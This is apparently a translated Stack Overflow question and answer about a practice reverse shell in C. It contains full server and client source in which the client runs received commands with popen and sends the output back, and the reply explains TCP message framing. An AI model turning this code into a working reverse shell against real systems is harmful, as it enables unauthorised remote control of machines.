【问题标题】:C recv function blocking loop from repeating after receiving everything (sys/socket)C recv 函数阻止循环在接收到所有内容后重复(sys/socket)
【发布时间】:2020-07-25 05:26:06
【问题描述】:

我正在开发一个反向 shell(用于练习),我正在尝试将 popen 函数的输出发送回服务器。出于某种原因,当我遍历文件并发送它时,(server recv)循环在停止接收消息时不会中断。谁能找到我的错误。并帮我修复它? 服务器代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>

#define PORT 4583


int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    bind(sock, (struct sockaddr *) &server, sizeof(server));
    listen(sock, 2);
    int client = accept(sock, NULL, NULL);
    char * command = (char *) malloc(75);
    char * output = (char * ) malloc (5000);
    ssize_t size;
    while (1){
        printf(">> ");
        fgets(command, 75, stdin);
        send(client, command, strlen(command), 0);
        while((size = recv(client, output, 5000, 0)) != 0){
            printf("%s", output);
            if (size == 0){
                break;
            }
        }
        printf("Done");
    }
    free(command);
    free(output);
    return 0;
}

客户端代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 4583

int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    connect(sock, (struct sockaddr *) &server, sizeof(server));

    char* command = (char *) malloc(75);
    int commandlen;
    char* output = (char *) malloc (5000);
    while (1){
        recv(sock, command, 75, 0);
        commandlen = strlen(command);
        if (*command == 'c' && *command+1 == 'd'){
            command[commandlen-1] = '\0';
            int stat = chdir(command+3);
            if (stat != 0){
                output = strerror(errno);
                send(sock, output, 5000, 0);
            } else {
                send(sock, 0, 0, 0);
            }
        } else{
            FILE * cmd = popen(command, "r");
            while (fgets(output, 5000, cmd) != NULL){
                send(sock, output, 5000, 0);
            }
            pclose(cmd);
        }
    }
    free(output);
    free(command);

    return 0;
}

【问题讨论】:

  • 检查recv() 返回的值是必要的,而不仅仅是进行错误检查。

标签: c sockets tcp recv reverse-shell


【解决方案1】:
    while((size = recv(client, output, 5000, 0)) != 0){

您的期望是当客户端“完成”时recv 返回0。但是从 TCP 的角度来看,唯一的“完成”是如果 TCP 连接关闭,那么只有 recv 将返回 0。只是,您的客户端在处理命令后不会关闭连接,而是会期待下一个命令。

为了解决这个问题,您需要在 TCP 之上实现一些消息协议,以便您知道命令输出何时实际完成。执行此操作的典型方法是在每条消息前面加上它们的长度,或者用一些唯一的消息结束字节序列结束每条消息。

【讨论】:

  • 当我在 python 中使用套接字时,我添加了一个像这样的 headersize:f"{msg:&lt;10}",然后输出将是(假设消息的长度是 10 个字符)0000000010。我怎样才能在 C 中做到这一点?
  • @Serket:我不确定你的问题是什么。您是否在获取发送内容的大小时遇到​​问题(请尝试strlen 获取字符串)或者您是否无法将整数格式化为 10 位数字(请参阅sprintf)。无论如何,这是一个不同的问题,因此不应在评论中提出。
猜你喜欢
  • 1970-01-01
  • 2014-06-17
  • 2018-12-21
  • 2015-02-16
  • 2019-01-25
  • 2020-08-29
  • 1970-01-01
  • 2016-06-02
  • 1970-01-01
相关资源
最近更新 更多